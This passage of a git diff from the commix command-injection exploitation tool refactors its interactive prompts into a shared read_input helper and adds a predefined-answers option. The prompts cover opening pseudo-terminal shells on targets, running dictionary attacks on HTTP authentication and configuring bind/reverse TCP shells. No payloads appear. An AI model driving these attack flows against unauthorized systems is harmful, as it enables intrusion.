- if len(gotshell) == 0:
- gotshell= "Y"
+ break
+ message = "Do you want a Pseudo-Terminal shell? [Y/n] > "
+ gotshell = _common.read_input(message, default="Y", check_batch=True)
if gotshell in settings.CHOICE_YES:
print("\nPseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
if settings.READLINE_ERROR:
@@ -156,7 +151,7 @@ def input_cmd(http_request_method, url, vuln_parameter, ip_src, technique):
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
sys.stdout.write(settings.OS_SHELL)
- cmd = _input()
+ cmd = common.read_input(message="", default=None, check_batch=True)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
if cmd.lower() == "quit" or cmd.lower() == "back":
diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py
index cb9a1918f6..3a36712620 100755
--- a/src/core/modules/shellshock/shellshock.py
+++ b/src/core/modules/shellshock/shellshock.py
@@ -8,6 +8,7 @@
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import http_client as _http_client
+from src.utils import common
from src.utils import menu
from src.utils import logs
from src.utils import settings
@@ -708,14 +709,8 @@ def shellshock_handler(url, http_request_method, filename):
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
while True:
- if not menu.options.batch:
- question_msg = "Do you want to enumerate again? [Y/n] > "
- enumerate_again = _input(settings.print_question_msg(question_msg))
-
- else:
- enumerate_again = ""
- if len(enumerate_again) == 0:
- enumerate_again = "Y"
+ message = "Do you want to enumerate again? [Y/n] > "
+ enumerate_again = common.read_input(message, default="Y", check_batch=True)
if enumerate_again in settings.CHOICE_YES:
enumeration(url, cve, check_header, filename)
break
@@ -733,13 +728,8 @@ def shellshock_handler(url, http_request_method, filename):
# File access options.
if settings.FILE_ACCESS_DONE == True :
while True:
- if not menu.options.batch:
- question_msg = "Do you want to access files again? [Y/n] > "
- file_access_again = _input(settings.print_question_msg(question_msg))
- else:
- file_access_again= ""
- if len(file_access_again) == 0:
- file_access_again = "Y"
+ message = "Do you want to access files again? [Y/n] > "
+ file_access_again = common.read_input(message, default="Y", check_batch=True)
if file_access_again in settings.CHOICE_YES:
file_access(url, cve, check_header, filename)
break
@@ -770,16 +760,9 @@ def shellshock_handler(url, http_request_method, filename):
while True:
if go_back == True:
break
- if not menu.options.batch:
- question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
- gotshell = _input(settings.print_question_msg(question_msg))
- else:
- gotshell= ""
- if len(gotshell) == 0:
- gotshell= "Y"
+ message = "Do you want a Pseudo-Terminal shell? [Y/n] > "
+ gotshell = common.read_input(message, default="Y", check_batch=True)
if gotshell in settings.CHOICE_YES:
- # if not menu.options.batch:
- # print(settings.SINGLE_WHITESPACE)
print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
if settings.READLINE_ERROR:
checks.no_readline_module()
@@ -788,7 +771,7 @@ def shellshock_handler(url, http_request_method, filename):
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
sys.stdout.write(settings.OS_SHELL)
- cmd = _input()
+ cmd = common.read_input(message="", default=None, check_batch=True)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py
index b4dc01446d..21af364768 100644
--- a/src/core/requests/authentication.py
+++ b/src/core/requests/authentication.py
@@ -23,6 +23,7 @@
from src.core.requests import tor
from src.core.requests import proxy
from src.core.requests import headers
+from src.utils import common
from src.core.injections.controller import checks
from src.thirdparty.six.moves import input as _input
from src.thirdparty.colorama import Fore, Back, Style, init
@@ -79,13 +80,8 @@ def authentication_process():
def define_wordlists():
while True:
- if not menu.options.batch:
- question_msg = "Do you want to use default wordlists for dictionary-based attack? [Y/n] > "
- do_update = _input(settings.print_question_msg(question_msg))
- else:
- do_update = ""
- if len(do_update) == 0:
- do_update = "Y"
+ message = "Do you want to use default wordlists for dictionary-based attack? [Y/n] > "
+ do_update = common.read_input(message, default="Y", check_batch=True)
if do_update in settings.CHOICE_YES:
username_txt_file = settings.USERNAMES_TXT_FILE
passwords_txt_file = settings.PASSWORDS_TXT_FILE
@@ -93,10 +89,10 @@ def define_wordlists():
print(settings.print_info_msg(info_msg))
break
elif do_update in settings.CHOICE_NO:
- question_msg = "Please enter usernames wordlist > "
- username_txt_file = _input(settings.print_question_msg(question_msg))
- question_msg = "Please enter passwords wordlist > "
- passwords_txt_file = _input(settings.print_question_msg(question_msg))
+ message = "Please enter usernames wordlist > "
+ username_txt_file = common.read_input(message, default=None, check_batch=True)
+ message = "Please enter passwords wordlist > "
+ passwords_txt_file = common.read_input(message, default=None, check_batch=True)
break
elif do_update in settings.CHOICE_QUIT:
raise SystemExit()
diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py
index 5dbf50cb21..dd3168a840 100755
--- a/src/core/requests/redirection.py
+++ b/src/core/requests/redirection.py
@@ -23,6 +23,7 @@
from base64 import encodestring as encodebytes
from src.utils import menu
from src.utils import settings
+from src.utils import common
from socket import error as SocketError
from src.thirdparty.six.moves import http_client as _http_client
from src.core.injections.controller import checks
@@ -65,17 +66,15 @@ def redirect_request(self, request, fp, code, msg, headers, newurl):
return response.geturl()
else:
while True:
- if not menu.options.batch and not settings.FOLLOW_REDIRECT:
+ if not settings.FOLLOW_REDIRECT:
if settings.CRAWLED_URLS_NUM != 0 and settings.CRAWLED_SKIPPED_URLS_NUM != 0:
print(settings.SINGLE_WHITESPACE)
- question_msg = "Got a " + str(settings.REDIRECT_CODE) + " redirect to " + response.geturl() + "\n"
- question_msg += "Do you want to follow the identified redirection? [Y/n] > "
- redirection_option = _input(settings.print_question_msg(question_msg))
- else:
- redirection_option = ""
- if len(redirection_option) == 0 or redirection_option in settings.CHOICE_YES:
+ message = "Got a " + str(settings.REDIRECT_CODE) + " redirect to " + response.geturl() + "\n"
+ message += "Do you want to follow the identified redirection? [Y/n] > "
+ redirection_option = common.read_input(message, default="Y", check_batch=True)
+ if redirection_option in settings.CHOICE_YES:
settings.FOLLOW_REDIRECT = True
- if menu.options.batch and not settings.CRAWLING:
+ if not settings.CRAWLING:
info_msg = "Following redirection to '" + response.geturl() + "'. "
print(settings.print_info_msg(info_msg))
return checks.check_http_s(response.geturl())
diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py
index 24399f0288..b47ce27261 100755
--- a/src/core/requests/requests.py
+++ b/src/core/requests/requests.py
@@ -24,6 +24,7 @@
from src.thirdparty.six.moves import http_client as _http_client
# accept overly long result lines
_http_client._MAXLINE = 1 * 1024 * 1024
+from src.utils import common
from src.core.requests import tor
from src.core.requests import proxy
from src.core.requests import headers
@@ -126,13 +127,8 @@ def estimate_response_time(url, timesec):
warn_msg += "HTTP authentication credentials are required."
print(settings.print_warning_msg(warn_msg))
while True:
- if not menu.options.batch:
- question_msg = "Do you want to perform a dictionary-based attack? [Y/n] > "
- do_update = _input(settings.print_question_msg(question_msg))
- else:
- do_update = ""
- if len(do_update) == 0:
- do_update = "Y"
+ message = "Do you want to perform a dictionary-based attack? [Y/n] > "
+ do_update = common.read_input(message, default="Y", check_batch=True)
if do_update in settings.CHOICE_YES:
auth_creds = authentication.http_auth_cracker(url, realm)
if auth_creds != False:
@@ -161,13 +157,8 @@ def estimate_response_time(url, timesec):
warn_msg = "Heuristics have failed to identify the realm attribute."
print(settings.print_warning_msg(warn_msg))
while True:
- if not menu.options.batch:
- question_msg = "Do you want to perform a dictionary-based attack? [Y/n] > "
- do_update = _input(settings.print_question_msg(question_msg))
- else:
- do_update = ""
- if len(do_update) == 0:
- do_update = "Y"
+ message = "Do you want to perform a dictionary-based attack? [Y/n] > "
+ do_update = common.read_input(message, default="Y", check_batch=True)
if do_update in settings.CHOICE_YES:
auth_creds = authentication.http_auth_cracker(url, realm)
if auth_creds != False:
@@ -1207,8 +1198,7 @@ def check_target_os(server_banner):
print(settings.print_warning_msg(warn_msg))
if found_os_server == False and not menu.options.os:
- # If "--shellshock" option is provided then,
- # by default is a Linux/Unix operating system.
+ # If "--shellshock" option is provided then, by default is a Linux/Unix operating system.
if menu.options.shellshock:
pass
else:
@@ -1225,9 +1215,9 @@ def check_target_os(server_banner):
print(settings.print_info_msg(info_msg))
else:
while True:
- question_msg = "Do you recognise the server's operating system? "
- question_msg += "[(W)indows/(U)nix-like/(q)uit] > "
- got_os = _input(settings.print_question_msg(question_msg))
+ message = "Do you recognise the server's operating system? "
+ message += "[(W)indows/(U)nix-like/(q)uit] > "
+ got_os = common.read_input(message, default="", check_batch=True)
if got_os.lower() in settings.CHOICE_OS :
if got_os.lower() == "w":
settings.TARGET_OS = "win"
diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py
index 30b635ecc7..a7794af825 100755
--- a/src/core/shells/bind_tcp.py
+++ b/src/core/shells/bind_tcp.py
@@ -20,6 +20,7 @@
import base64
import subprocess
from src.utils import menu
+from src.utils import common
from src.utils import settings
from src.thirdparty.six.moves import input as _input
from src.thirdparty.colorama import Fore, Back, Style, init
@@ -79,20 +80,15 @@ def msf_launch_msg(output):
"""
def set_php_working_dir():
while True:
- if not menu.options.batch:
- question_msg = "Do you want to use '" + settings.WIN_PHP_DIR
- question_msg += "' as PHP working directory on the target host? [Y/n] > "
- php_dir = _input(settings.print_question_msg(question_msg))
- else:
- php_dir = ""
- if len(php_dir) == 0:
- php_dir = "Y"
+ message = "Do you want to use '" + settings.WIN_PHP_DIR
+ message += "' as PHP working directory on the target host? [Y/n] > "
+ php_dir = common.read_input(message, default="Y", check_batch=True)
if php_dir in settings.CHOICE_YES:
break
elif php_dir in settings.CHOICE_NO:
- question_msg = "Please provide a full path directory for Python interpreter (e.g. '"
- question_msg += settings.WIN_PYTHON_INTERPRETER + "') or 'python'> "
- settings.WIN_PHP_DIR = _input(settings.print_question_msg(question_msg))
+ message = "Please provide a full path directory for Python interpreter (e.g. '"
+ message += settings.WIN_PYTHON_INTERPRETER + "') or 'python'> "
+ settings.WIN_PHP_DIR = common.read_input(message, default=None, check_batch=True)
settings.USER_DEFINED_PHP_DIR = True
break
else:
@@ -105,20 +101,15 @@ def set_php_working_dir():
"""
def set_python_working_dir():
while True:
- if not menu.options.batch:
- question_msg = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER
- question_msg += "' as Python interpreter on the target host? [Y/n] > "
- python_dir = _input(settings.print_question_msg(question_msg))
- else:
- python_dir = ""
- if len(python_dir) == 0:
- python_dir = "Y"
+ message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER
+ message += "' as Python interpreter on the target host? [Y/n] > "
+ python_dir = common.read_input(message, default="Y", check_batch=True)
if python_dir in settings.CHOICE_YES:
break
elif python_dir in settings.CHOICE_NO:
- question_msg = "Please provide a full path directory for Python interpreter (e.g. '"
- question_msg += "C:\\Python27\\python.exe') > "
- settings.WIN_PYTHON_INTERPRETER = _input(settings.print_question_msg(question_msg))
+ message = "Please provide a full path directory for Python interpreter (e.g. '"
+ message += "C:\\Python27\\python.exe') > "
+ settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True)
settings.USER_DEFINED_PYTHON_DIR = True
break
else:
@@ -131,20 +122,15 @@ def set_python_working_dir():
"""
def set_python_interpreter():
while True:
- if not menu.options.batch:
- question_msg = "Do you want to use '" + settings.LINUX_PYTHON_INTERPRETER
- question_msg += "' as Python interpreter on the target host? [Y/n] > "
- python_interpreter = _input(settings.print_question_msg(question_msg))
- else:
- python_interpreter = ""
- if len(python_interpreter) == 0:
- python_interpreter = "Y"
+ message = "Do you want to use '" + settings.LINUX_PYTHON_INTERPRETER
+ message += "' as Python interpreter on the target host? [Y/n] > "
+ python_interpreter = common.read_input(message, default="Y", check_batch=True)
if python_interpreter in settings.CHOICE_YES:
break
elif python_interpreter in settings.CHOICE_NO:
- question_msg = "Please provide a custom interpreter for Python (e.g. '"
- question_msg += "python27') > "
- settings.LINUX_PYTHON_INTERPRETER = _input(settings.print_question_msg(question_msg))
+ message = "Please provide a custom interpreter for Python (e.g. '"
+ message += "python27') > "
+ settings.LINUX_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True)
settings.USER_DEFINED_PYTHON_INTERPRETER = True
break
else:
@@ -227,13 +213,8 @@ def netcat_version(separator):
continue
while True:
- if not menu.options.batch:
- question_msg = "Do you want to use '/bin' standard subdirectory? [y/N] > "
- enable_bin_dir = _input(settings.print_question_msg(question_msg))
- else:
- enable_bin_dir = ""
- if len(enable_bin_dir) == 0:
- enable_bin_dir = "n"
+ message = "Do you want to use '/bin' standard subdirectory? [y/N] > "
+ enable_bin_dir = common.read_input(message, default="N", check_batch=True)
if enable_bin_dir in settings.CHOICE_NO:
break
elif enable_bin_dir in settings.CHOICE_YES :
diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py
index 1384ce8579..208407b0a3 100755
--- a/src/core/shells/reverse_tcp.py
+++ b/src/core/shells/reverse_tcp.py
@@ -21,6 +21,7 @@
import random
import string
import subprocess
+from src.utils import common
from src.utils import menu
from src.utils import update
from src.utils import settings
@@ -94,20 +95,15 @@ def msf_launch_msg(output):
"""
def set_php_working_dir():
while True:
- if not menu.options.batch:
- question_msg = "Do you want to use '" + settings.WIN_PHP_DIR
- question_msg += "' as PHP working directory on the target host? [Y/n] > "
- php_dir = _input(settings.print_question_msg(question_msg))
- else:
- php_dir = ""
- if len(php_dir) == 0:
- php_dir = "Y"
+ message = "Do you want to use '" + settings.WIN_PHP_DIR
+ message += "' as PHP working directory on the target host? [Y/n] > "
+ php_dir = common.read_input(message, default="Y", check_batch=True)
if php_dir in settings.CHOICE_YES:
break
elif php_dir in settings.CHOICE_NO:
- question_msg = "Please provide a custom working directory for PHP (e.g. '"
- question_msg += settings.WIN_PHP_DIR + "') > "
- settings.WIN_PHP_DIR = _input(settings.print_question_msg(question_msg))
+ message = "Please provide a custom working directory for PHP (e.g. '"
+ message += settings.WIN_PHP_DIR + "') > "
+ settings.WIN_PHP_DIR = common.read_input(message, default=None, check_batch=True)
settings.USER_DEFINED_PHP_DIR = True
break
else:
@@ -120,20 +116,15 @@ def set_php_working_dir():
"""
def set_python_working_dir():
while True:
- if not menu.options.batch:
- question_msg = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER
- question_msg += "' as Python interpreter on the target host? [Y/n] > "
- python_dir = _input(settings.print_question_msg(question_msg))
- else:
- python_dir = ""
- if len(python_dir) == 0:
- python_dir = "Y"
+ message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER
+ message += "' as Python interpreter on the target host? [Y/n] > "
+ python_dir = common.read_input(message, default="Y", check_batch=True)
if python_dir in settings.CHOICE_YES:
break
elif python_dir in settings.CHOICE_NO:
- question_msg = "Please provide a full path directory for Python interpreter (e.g. '"
- question_msg += "C:\\Python27\\python.exe') > "
- settings.WIN_PYTHON_INTERPRETER = _input(settings.print_question_msg(question_msg))
+ message = "Please provide a full path directory for Python interpreter (e.g. '"
+ message += "C:\\Python27\\python.exe') > "
+ settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True)
settings.USER_DEFINED_PYTHON_DIR = True
break
else:
@@ -146,20 +137,15 @@ def set_python_working_dir():
"""
def set_python_interpreter():
while True:
- if not menu.options.batch:
- question_msg = "Do you want to use '" + settings.LINUX_PYTHON_INTERPRETER
- question_msg += "' as Python interpreter on the target host? [Y/n] > "
- python_interpreter = _input(settings.print_question_msg(question_msg))
- else:
- python_interpreter = ""
- if len(python_interpreter) == 0:
- python_interpreter = "Y"
+ message = "Do you want to use '" + settings.LINUX_PYTHON_INTERPRETER
+ message += "' as Python interpreter on the target host? [Y/n] > "
+ python_interpreter = common.read_input(message, default="Y", check_batch=True)
if python_interpreter in settings.CHOICE_YES:
break
elif python_interpreter in settings.CHOICE_NO:
- question_msg = "Please provide a custom working interpreter for Python (e.g. '"
- question_msg += "python27') > "
- settings.LINUX_PYTHON_INTERPRETER = _input(settings.print_question_msg(question_msg))
+ message = "Please provide a custom working interpreter for Python (e.g. '"
+ message += "python27') > "
+ settings.LINUX_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True)
settings.USER_DEFINED_PYTHON_INTERPRETER = True
break
else:
@@ -263,13 +249,8 @@ def netcat_version(separator):
continue
while True:
- if not menu.options.batch:
- question_msg = "Do you want to use '/bin' standard subdirectory? [y/N] > "
- enable_bin_dir = _input(settings.print_question_msg(question_msg))
- else:
- enable_bin_dir = ""
- if len(enable_bin_dir) == 0:
- enable_bin_dir = "n"
+ message = "Do you want to use '/bin' standard subdirectory? [y/N] > "
+ enable_bin_dir = common.read_input(message, default="N", check_batch=True)
if enable_bin_dir in settings.CHOICE_NO:
break
elif enable_bin_dir in settings.CHOICE_YES :
diff --git a/src/utils/common.py b/src/utils/common.py
index da159bd01a..78a70cf5ad 100644
--- a/src/utils/common.py
+++ b/src/utils/common.py
@@ -27,7 +27,58 @@
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import urllib as _urllib
-
+"""
+Reads input from terminal
+"""
+def read_input(message, default=None, check_batch=True):
+
+ def is_empty():
+ value = _input(settings.print_message(message))
+ if len(value) == 0:
+ return default
+ else:
+ return value
+
+ value = None
+ if "\n" in message:
+ message += ("\n" if message.count("\n") > 1 else "")
+ elif len(message) == 0:
+ return _input()
+
+ if settings.ANSWERS:
+ if not any(_ in settings.ANSWERS for _ in ",="):
+ return is_empty()
+ else:
+ for item in settings.ANSWERS.split(','):
+ question = item.split('=')[0].strip()
+ answer = item.split('=')[1] if len(item.split('=')) > 1 else None
+ if answer and question.lower() in message.lower():
+ value = answer
+ print(settings.print_message(message + value))
+ return value
+ elif answer is None and value:
+ return is_empty()
+
+ if value:
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Used the given answer."
+ print(settings.print_debug_msg(debug_msg))
+ print(settings.print_message(message + value))
+ return value
+
+ elif value is None:
+ if check_batch and menu.options.batch:
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Used the default behavior, running in batch mode."
+ print(settings.print_debug_msg(debug_msg))
+ print(settings.print_message(message + default))
+ return default
+ else:
+ return is_empty()
+
+"""
+Extract regex result
+"""
def extract_regex_result(regex, content):
result = None
if regex and content and "?P" in regex:
@@ -87,15 +138,10 @@ def create_github_issue(err_msg, exc_msg):
while True:
try:
- if not menu.options.batch:
- question_msg = "Do you want to automatically create a new (anonymized) issue "
- question_msg += "with the unhandled exception information at "
- question_msg += "the official Github repository? [y/N] "
- choise = _input(settings.print_question_msg(question_msg))
- else:
- choise = ""
- if len(choise) == 0:
- choise = "n"
+ message = "Do you want to automatically create a new (anonymized) issue "
+ message += "with the unhandled exception information at "
+ message += "the official Github repository? [y/N] "
+ choise = common.read_input(message, default="N", check_batch=True)
if choise in settings.CHOICE_YES:
break
elif choise in settings.CHOICE_NO:
diff --git a/src/utils/crawler.py b/src/utils/crawler.py
index 470d8e704d..d657097332 100644
--- a/src/utils/crawler.py
+++ b/src/utils/crawler.py
@@ -18,7 +18,7 @@
import tempfile
from src.utils import menu
from src.utils import settings
-from src.utils.common import extract_regex_result
+from src.utils import common
from src.core.injections.controller import checks
from src.core.requests import headers
from socket import error as SocketError
@@ -45,13 +45,8 @@ def init_global_vars():
"""
def set_crawling_depth():
while True:
- if not menu.options.batch:
- question_msg = "Do you want to change the crawling depth level (" + str(menu.options.crawldepth) + ")? [y/N] > "
- message = _input(settings.print_question_msg(question_msg))
- else:
- message = ""
- if len(message) == 0:
- message = "N"
+ message = "Do you want to change the crawling depth level (" + str(menu.options.crawldepth) + ")? [y/N] > "
+ message = common.read_input(message, default="N", check_batch=True)
if message in settings.CHOICE_YES or message in settings.CHOICE_NO:
break
elif message in settings.CHOICE_QUIT:
@@ -64,12 +59,9 @@ def set_crawling_depth():
# Change the crawling depth level.
if message in settings.CHOICE_YES:
while True:
- question_msg = "Please enter the crawling depth level: > "
- message = _input(settings.print_question_msg(question_msg))
- if len(message) == 0:
- message = 1
- else:
- menu.options.crawldepth = message
+ message = "Please enter the crawling depth level: > "
+ message = common.read_input(message, default="1", check_batch=True)
+ menu.options.crawldepth = message
return
@@ -79,13 +71,8 @@ def set_crawling_depth():
def normalize_results(output_href):
results = []
while True:
- if not menu.options.batch:
- question_msg = "Do you want to normalize crawling results? [Y/n] > "
- message = _input(settings.print_question_msg(question_msg))
- else:
- message = ""
- if len(message) == 0:
- message = "Y"
+ message = "Do you want to normalize crawling results? [Y/n] > "
+ message = common.read_input(message, default="Y", check_batch=True)
if message in settings.CHOICE_YES:
seen = set()
for target in output_href:
@@ -112,14 +99,9 @@ def normalize_results(output_href):
"""
def store_crawling(output_href):
while True:
- if not menu.options.batch:
- question_msg = "Do you want to store crawling results to a temporary file "
- question_msg += "(for eventual further processing with other tools)? [y/N] > "
- message = _input(settings.print_question_msg(question_msg))
- else:
- message = ""
- if len(message) == 0:
- message = "n"
+ message = "Do you want to store crawling results to a temporary file "
+ message += "(for eventual further processing with other tools)? [y/N] > "
+ message = common.read_input(message, default="N", check_batch=True)
if message in settings.CHOICE_YES:
filename = tempfile.mkstemp(suffix=".txt")[1]
info_msg = "Writing crawling results to a temporary file '" + str(filename) + "'."
@@ -158,13 +140,8 @@ def sitemap(url):
while True:
warn_msg = "A sitemap recursion detected (" + url + ")."
print(settings.print_warning_msg(warn_msg))
- if not menu.options.batch:
- question_msg = "Do you want to follow? [Y/n] > "
- message = _input(settings.print_question_msg(question_msg))
- else:
- message = ""
- if len(message) == 0:
- message = "Y"
+ message = "Do you want to follow? [Y/n] > "
+ message = common.read_input(message, default="Y", check_batch=True)
if message in settings.CHOICE_YES:
sitemap(url)
break
@@ -234,13 +211,8 @@ def enable_crawler():
message = ""
if not settings.CRAWLING:
while True:
- if not menu.options.batch:
- question_msg = "Do you want to enable crawler? [y/N] > "
- message = _input(settings.print_question_msg(question_msg))
- else:
- message = ""
- if len(message) == 0:
- message = "N"
+ message = "Do you want to enable crawler? [y/N] > "
+ message = common.read_input(message, default="N", check_batch=True)
if message in settings.CHOICE_YES:
menu.options.crawldepth = 1
break
@@ -259,14 +231,9 @@ def enable_crawler():
"""
def check_sitemap():
while True:
- if not menu.options.batch:
- question_msg = "Do you want to check target"+ ('', 's')[settings.MULTI_TARGETS] + " for "
- question_msg += "the existence of site's sitemap(.xml)? [y/N] > "
- message = _input(settings.print_question_msg(question_msg))
- else:
- message = ""
- if len(message) == 0:
- message = "n"
+ message = "Do you want to check target"+ ('', 's')[settings.MULTI_TARGETS] + " for "
+ message += "the existence of site's sitemap(.xml)? [y/N] > "
+ message = common.read_input(message, default="N", check_batch=True)
if message in settings.CHOICE_YES:
settings.SITEMAP_CHECK = True
return
@@ -318,7 +285,7 @@ def do_process(url):
if href:
href = _urllib.parse.urljoin(url, _urllib.parse.unquote(href))
if _urllib.parse.urlparse(url).netloc in href:
- if (extract_regex_result(r"\A[^?]+\.(?P\w+)(\?|\Z)", href) or "") not in settings.CRAWL_EXCLUDE_EXTENSIONS:
+ if (common.extract_regex_result(r"\A[^?]+\.(?P\w+)(\?|\Z)", href) or "") not in settings.CRAWL_EXCLUDE_EXTENSIONS:
if not re.search(r"\?(v=)?\d+\Z", href) and \
not re.search(r"(?i)\.(js|css)(\?|\Z)", href):
identified_hrefs = store_hrefs(href, identified_hrefs, redirection=False)
diff --git a/src/utils/install.py b/src/utils/install.py
index 4036a289c4..40b1a2daea 100644
--- a/src/utils/install.py
+++ b/src/utils/install.py
@@ -74,13 +74,8 @@ def installer():
warn_msg += " is already installed in your system."
print(settings.print_warning_msg(warn_msg))
while True:
- if not menu.options.batch:
- question_msg = "Do you want to remove commix? [Y/n] > "
- uninstall = _input(settings.print_question_msg(question_msg))
- else:
- uninstall = ""
- if len(uninstall) == 0:
- uninstall = "Y"
+ message = "Do you want to remove commix? [Y/n] > "
+ uninstall = common.read_input(message, default="Y", check_batch=True)
if uninstall in settings.CHOICE_YES:
uninstaller()
raise SystemExit()
diff --git a/src/utils/menu.py b/src/utils/menu.py
index b1c3b651ed..ea1e8a080d 100755
--- a/src/utils/menu.py
+++ b/src/utils/menu.py
@@ -19,6 +19,7 @@
from optparse import OptionGroup
from optparse import OptionParser
from optparse import SUPPRESS_HELP as SUPPRESS
+from src.utils import common
from src.thirdparty.six.moves import input as _input
from src.thirdparty.colorama import Fore, Back, Style, init
@@ -132,6 +133,10 @@ def banner():
dest="check_internet",
help="Check internet connection before assessing the target.")
+general.add_option("--answers",
+ dest="answers",
+ help="Set predefined answers (e.g. \"quit=N,follow=N\")")
+
# Target options
target = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Target" + Style.RESET_ALL,
"This options has to be provided, to define the target URL. ")
@@ -704,8 +709,8 @@ def mobile_user_agents():
Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' for Xiaomi Mi 3.""")
while True:
- question_msg = "Which smartphone do you want to imitate through HTTP User-Agent header? "
- mobile_user_agent = _input(settings.print_question_msg(question_msg))
+ message = "Which smartphone do you want to imitate through HTTP User-Agent header? "
+ mobile_user_agent = common.read_input(message, default=None, check_batch=True)
try:
if int(mobile_user_agent) in range(0,len(settings.MOBILE_USER_AGENT_LIST)):
return settings.MOBILE_USER_AGENT_LIST[int(mobile_user_agent)]
diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py
index 4bad73afe7..5aa1802364 100755
--- a/src/utils/session_handler.py
+++ b/src/utils/session_handler.py
@@ -20,6 +20,7 @@
import sqlite3
from src.utils import menu
from src.utils import settings
+from src.utils import common
from src.thirdparty.six.moves import input as _input
from src.thirdparty.colorama import Fore, Back, Style, init
@@ -279,26 +280,19 @@ def notification(url, technique, injection_type):
info_msg = "A previously stored session has been held against that host."
print(settings.print_info_msg(info_msg))
while True:
- if not menu.options.batch:
- question_msg = "Do you want to resume to the "
- question_msg += "(" + injection_type.split(" ")[0] + ") "
- question_msg += technique.rsplit(' ', 2)[0]
- question_msg += " injection point? [Y/n] > "
- settings.LOAD_SESSION = _input(settings.print_question_msg(question_msg))
- else:
- settings.LOAD_SESSION = ""
- if len(settings.LOAD_SESSION) == 0:
- settings.LOAD_SESSION = "Y"
+ message = "Do you want to resume to the "
+ message += "(" + injection_type.split(" ")[0] + ") "
+ message += technique.rsplit(' ', 2)[0]
+ message += " injection point? [Y/n] > "
+ settings.LOAD_SESSION = common.read_input(message, default="Y", check_batch=True)
if settings.LOAD_SESSION in settings.CHOICE_YES:
return True
elif settings.LOAD_SESSION in settings.CHOICE_NO:
settings.LOAD_SESSION = False
if technique[:1] != "c":
while True:
- question_msg = "Which technique do you want to re-evaluate? [(C)urrent/(a)ll/(n)one] > "
- proceed_option = _input(settings.print_question_msg(question_msg))
- if len(proceed_option) == 0:
- proceed_option = "c"
+ message = "Which technique do you want to re-evaluate? [(C)urrent/(a)ll/(n)one] > "
+ proceed_option = common.read_input(message, default="C", check_batch=True)
if proceed_option.lower() in settings.CHOICE_PROCEED :
if proceed_option.lower() == "a":
settings.RETEST = True
diff --git a/src/utils/settings.py b/src/utils/settings.py
index bc5787c777..ca3631c80a 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -150,8 +150,8 @@ def print_checking_msg(payload):
return result
# Print question message
-def print_question_msg(question_msg):
- result = QUESTION_SIGN + question_msg + Style.RESET_ALL
+def print_message(message):
+ result = QUESTION_SIGN + message + Style.RESET_ALL
return result
# Print sub content message
@@ -230,7 +230,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "60"
+REVISION = "61"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -1144,4 +1144,8 @@ def sys_argv_errors():
SITEMAP_CHECK = None
FOLLOW_REDIRECT = False
+
+# Set predefined answers (e.g. "quit=N,follow=N").
+ANSWERS = ""
+
# eof
\ No newline at end of file
diff --git a/src/utils/update.py b/src/utils/update.py
index cfadf978c6..6ad463b601 100755
--- a/src/utils/update.py
+++ b/src/utils/update.py
@@ -21,6 +21,7 @@
from src.utils import menu
from src.utils import settings
from src.utils import requirments
+from src.utils import common
from src.thirdparty.six.moves import input as _input
from src.thirdparty.colorama import Fore, Back, Style, init
@@ -135,15 +136,10 @@ def check_for_update():
((int(settings.VERSION_NUM.replace(".","")[:2]) == int(update_version.replace(".","")[:2])) and \
int(settings.VERSION_NUM.replace(".","")[2:]) < int(update_version.replace(".","")[2:])):
while True:
- if not menu.options.batch:
- question_msg = "Do you want to update to the latest version now? [Y/n] > "
- do_update = _input(settings.print_question_msg(question_msg))
- else:
- do_update = ""
- if len(do_update) == 0:
- do_update = "Y"
+ message = "Do you want to update to the latest version now? [Y/n] > "
+ do_update = common.read_input(message, default="Y", check_batch=True)
if do_update in settings.CHOICE_YES:
- updater()
+ updater()
elif do_update in settings.CHOICE_NO:
break
else:
@@ -234,17 +230,12 @@ def check_unicorn_version(current_version):
warn_msg = "TrustedSec's Magic Unicorn seems to be not installed."
print(settings.print_warning_msg(warn_msg))
while True:
- if not menu.options.batch:
- if len(current_version) == 0:
- action = "install"
- else:
- action = "update to"
- question_msg = "Do you want to " + action + " the latest version now? [Y/n] > "
- do_update = _input(settings.print_question_msg(question_msg))
+ if len(current_version) == 0:
+ action = "install"
else:
- do_update = ""
- if len(do_update) == 0:
- do_update = "Y"
+ action = "update to"
+ message = "Do you want to " + action + " the latest version now? [Y/n] > "
+ do_update = common.read_input(message, default="Y", check_batch=True)
if do_update in settings.CHOICE_YES:
unicorn_updater(current_version)
